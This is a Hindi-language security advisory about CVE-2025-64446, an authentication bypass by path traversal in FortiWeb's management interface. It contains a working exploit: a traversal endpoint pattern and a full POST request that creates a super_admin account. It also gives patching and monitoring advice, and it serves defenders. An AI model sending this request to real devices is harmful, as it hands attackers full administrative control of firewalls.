---

📌 अवलोकन

CVE-2025-64446 FortiWeb वेब एप्लिकेशन फ़ायरवॉल प्रबंधन इंटरफ़ेस में एक गंभीर सापेक्ष पथ ट्रैवर्सल भेद्यता है।

एक अप्रमाणित दूरस्थ हमलावर इस दोष का शोषण करके प्रमाणीकरण को बायपास कर सकता है और पूर्ण विशेषाधिकारों वाले नए व्यवस्थापक उपयोगकर्ता बना सकता है, जिससे उपकरण पूरी तरह से समझौता हो सकता है।

• CVSS v3.1 स्कोर: 9.8 (क्रिटिकल)
• हमले का प्रकार: अप्रमाणित दूरस्थ
• प्रभाव: पूर्ण प्रशासनिक अधिग्रहण
• स्थिति: वास्तविक दुनिया में सक्रिय रूप से शोषित

---

🛠️ प्रभावित संस्करण

सिफारिश: जितनी जल्दी हो सके नवीनतम पैच किए गए संस्करण में अपडेट करें।

---

🔥 हमलावर इस भेद्यता का शोषण कैसे करते हैं

चरण-दर-चरण शोषण

1. लक्ष्य पहचान
   हमलावर सार्वजनिक रूप से उजागर FortiWeb प्रबंधन इंटरफ़ेस (आमतौर पर HTTPS पोर्ट 443 या 8443 पर) के लिए स्कैन करता है।

2. दुर्भावनापूर्ण अनुरोध तैयार करना
   शोषण का मूल एक सापेक्ष पथ ट्रैवर्सल (../) है जो एक विशेष रूप से तैयार URL के साथ जुड़ा होता है जो एक आंतरिक अप्रमाणित CGI एंडपॉइंट तक पहुँचता है।

   भेद्य एंडपॉइंट पैटर्न:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. शोषण भेजना

   हमलावर एक नया व्यवस्थापक खाता बनाने के लिए JSON पेलोड के साथ एक एकल POST अनुरोध भेजता है।

   शोषण अनुरोध का उदाहरण:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiweb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. सफल शोषण

   यदि सफल होता है, तो FortiWeb बिना किसी पूर्व प्रमाणीकरण की आवश्यकता के नया व्यवस्थापक खाता बना देता है। हमलावर फिर नवनिर्मित क्रेडेंशियल के साथ लॉग इन कर सकता है और WAF का पूर्ण नियंत्रण प्राप्त कर सकता है।

यह क्यों काम करता है

प्रबंधन API पथ को ठीक से स्वच्छ करने में विफल रहता है, जिससे अनुरोध वापस पुराने fwbcgi बाइनरी तक पहुँच जाता है, जो कुछ संचालनों पर प्रमाणीकरण लागू नहीं करता।

---

📸 स्क्रीनशॉट

---

🛡️ शमन और सर्वोत्तम अभ्यास

• FortiWeb को तुरंत एक स्थिर संस्करण में अपग्रेड करें
• प्रबंधन इंटरफ़ेस को कभी भी सीधे इंटरनेट पर उजागर न करें
• प्रशासनिक पहुँच के लिए मजबूत नेटवर्क विभाजन और VPN का उपयोग करें
• fwbcgi, ../, या असामान्य व्यवस्थापक निर्माण प्रयासों वाले अनुरोधों के लिए लॉग की निगरानी करें
• संदिग्ध प्रविष्टियों के लिए नियमित रूप से व्यवस्थापक खातों का ऑडिट करें

---